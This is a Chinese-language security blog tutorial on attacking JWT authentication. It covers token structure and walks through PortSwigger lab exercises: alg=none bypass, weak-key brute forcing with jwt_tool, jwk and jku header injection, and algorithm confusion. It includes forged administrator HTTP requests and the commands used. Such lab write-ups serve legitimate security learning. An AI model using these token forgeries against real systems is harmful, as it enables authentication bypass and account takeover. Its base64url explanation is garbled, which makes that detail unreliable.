Featured image of post JWT攻防

JWT攻防

JWT常见利用思路

什么是JWT

https://xz.aliyun.com/t/6776

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt由三个部分组成:header-payload-signature

header头

header部分最常用的两个字段是algtypalg指定了token加密使用的算法(最常用的为HMACRSA算法),typ声明类型为JWT

1
2
3
4
{
    "alg" : "HS256",
    "typ" : "jwt"
}

payload部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
    "user_role" : "finn",    //当前登录用户
    "iss": "admin",          //该JWT的签发者
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,         //该时间之前不接收处理该Token
    "domain": "example.com",   //面向的用户
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}


{
  "name": null,
  "id": 20,
  "username": "Lsec",
  "exp": 1735428521              //时间戳
}

signature部分

signature的功能是保护token完整性。

生成方法为将header和payload两个部分联结起来,然后通过header部分指定的算法,计算出签名。

抽象成公式就是

1
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

值得注意的是,编码header和payload时使用的编码方式为base64urlencodebase64url编码是base64的修改版,为了方便在网络中传输使用了不同的编码表,它不会在末尾填充"=“号,并将标准Base64中的”+“和”/“分别改成了”-“和”-"。

Python生成Token

1
2
3
4
5
import jwt

encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))

Java生成Token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//    生成JWT
    @Test
    public void TestJwt(){
        Map<String, Object> claims = new HashMap<>();
        claims.put("id",1);
        claims.put("name","Lsec");

        String jwt = Jwts.builder()
                .signWith(SignatureAlgorithm.HS256, "Lsec") //签名算法
                .setClaims(claims)                                  //载荷
                .setExpiration(new Date(System.currentTimeMillis() + 3600 * 1000)) //设置令牌有效期为1小时
                .compact();
        System.out.println(jwt);
    }

//    JWT令牌解析--还原JWT令牌数据
    @Test
    public void testParseJwt(){
        Claims lsec = Jwts.parser()
                .setSigningKey("Lsec")           //密钥
                .parseClaimsJws("eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiTHNlYyIsImlkIjoxLCJleHAiOjE3MzE5NDY4ODZ9.WKZnuIlIKcOwaKIpt_pkQR5nIRtrDOByXyI8TCsJCcw")
                .getBody();
        System.out.println(lsec);
    }

Jwt常出现的问题

https://portswigger.net/web-security/all-labs#jwt Burp靶场

https://mp.weixin.qq.com/s/C1YDIKXOw7atNyefbe2TJg 靶场解题攻略

通过未经验证的签名绕过 JWT 身份验证

使用wiener:peter进行登录,发现网站会返回JWT进行认证,使用JWT进行解密,替换sub字段

直接修改字段网站可能会不显示,但是可以根据JWT的加密进行修改,payload部分有base64进行加密,只需要将payload部分提取出来进行解密即可

访问删除连接成功删除用户

通过有缺陷的签名验证绕过 JWT 身份验证

什么叫签名缺陷?有些JWT解密后确实存在加密算法,但是只需要将header中的alg更改为none即可绕过签名限制,将alg更改为none之后记得删除签名字段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
GET /admin/delete?username=carlos HTTP/2
Host: 0a7400d804d7cc1e812212bc00bc00ed.web-security-academy.net
Cookie: session=eyJraWQiOiI1NWJlZTNjNy04NjAxLTRhM2YtYjJjOC0xYzNiOTgwNmU4MTgiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTM5MDM4NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

通过弱签名密钥绕过 JWT 身份验证(爆破jwt密钥)

常见JWT爆破工具:jwt_tool

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
检查令牌的有效性测试已知漏洞
(CVE-2015-2951) alg=none签名绕过漏洞
(CVE-2016-10555) RS / HS256公钥不匹配漏洞
(CVE-2018-0114)密钥注入漏洞
(CVE-2019-20933/CVE-2020-28637)空白密码漏洞
(CVE-2020-28042)空签名漏洞
扫描错误配置或已知弱点
模糊声明值以引发意外行为
测试机密/密钥文件/公共密钥/ 
JWKS密钥的有效性通过高速字典攻击识别弱键
伪造新的令牌标头和有效载荷内容并使用密钥或通过其他攻击方法创建新签名
时间戳篡改
RSA  ECDSA 密钥生成和重建来自 JWKS 文件
1
2
3
4
#爆破JWT -d 指定自定义字典
python jwt_tool.py eyJraWQiOiI1ZDY0YmNiYy0zMzUxLTQ1YmUtYjkxNS04YWY4ZmRmZTkyMmMiL
CJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTM5MTgyMiwic3ViIjoi
d2llbmVyIn0.HCINz9uNuMWbIYjWXV5oUI2adMDT9yz6ETofdBTXE6A -C -d jwt-secrets.txt  

爆破出密钥为secret1,直接使用jwt.io在线编辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
GET /admin/delete?username=carlos HTTP/2
Host: 0a5e00f6036480bab9b18738008400b9.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Websocket-Version: 13
Origin: https://0a5e00f6036480bab9b18738008400b9.web-security-academy.net
Sec-Websocket-Key: JL91NnXespEIBGdR0it21A==
Cookie: session=eyJraWQiOiI1ZDY0YmNiYy0zMzUxLTQ1YmUtYjkxNS04YWY4ZmRmZTkyMmMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTM5MTgyMiwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.y4bodw8-TE3ImwJfCPMrR25Ax4l9CvKkOcEo55nhiz0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

通过 jwk 标头注入绕过 JWT 身份验证

JWT头部注入

如果服务器端使用一个非常脆弱的密钥,我们甚至有可能一个字符一个字符地来暴力破解这个密钥,根据JWS规范只有alg报头参数是强制的,然而在实践中JWT报头通常包含几个其他参数,以下是攻击者特别感兴趣的:

1
2
3
jwk(JSON Web Key)提供一个代表密钥的嵌入式JSON对象
jku(JSON Web Key Set URL)提供一个URL服务器可以从这个URL获取一组包含正确密钥的密钥
kid(密钥id)提供一个ID在有多个密钥可供选择的情况下服务器可以用它来识别正确的密钥根据键的格式这可能有一个匹配的kid参数

下面我们介绍如何通过JWK参数注入自签名的JWT,JWS(JSON Web Signature)规范描述了一个可选的jwk header参数,服务器可以使用该参数以jwk格式将其公钥直接嵌入令牌本身,您可以在下面的JWT head中看到具体的示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

Burp靶场演示:Burp安装个JWT Editor插件—生成一个New RSAKey

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    "p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU",
    "kty": "RSA",
    "q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8",
    "d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ",
    "e": "AQAB",
    "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
    "qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks",
    "dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0",
    "dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M",
    "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
}

抓包,将attack和sign都设置为新签名,修改payload越权到administrator即可

通过 jku 标头注入绕过 JWT 身份验证

有些服务器可以使用jku(jwk Set URL)头参数来引用包含密钥的JWK集,而不是直接使用JWK头参数来嵌入公钥,当验证签名时,服务器从这个URL获取相关的密钥,这里的JWK集其实是一个JSON对象,包含一个代表不同键的JWK数组,下面是一个简单的例子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
        },
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
        }
    ]
}

通过算法混淆绕过 JWT 身份验证

算法混淆攻击(也称为密钥混淆攻击)是指攻击者能够迫使服务器使用不同于网站开发人员预期的算法来验证JSON web令牌(JWT)的签名,这种情况如果处理不当,攻击者可能会伪造包含任意值的有效jwt而无需知道服务器的秘密签名密钥 JWT可以使用一系列不同的算法进行签名,其中一些,例如:HS256(HMAC+SHA-256)使用"对称"密钥,这意味着服务器使用单个密钥对令牌进行签名和验证,显然这需要像密码一样保密

By Lsec
最后更新于 Jun 14, 2025 15:37 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ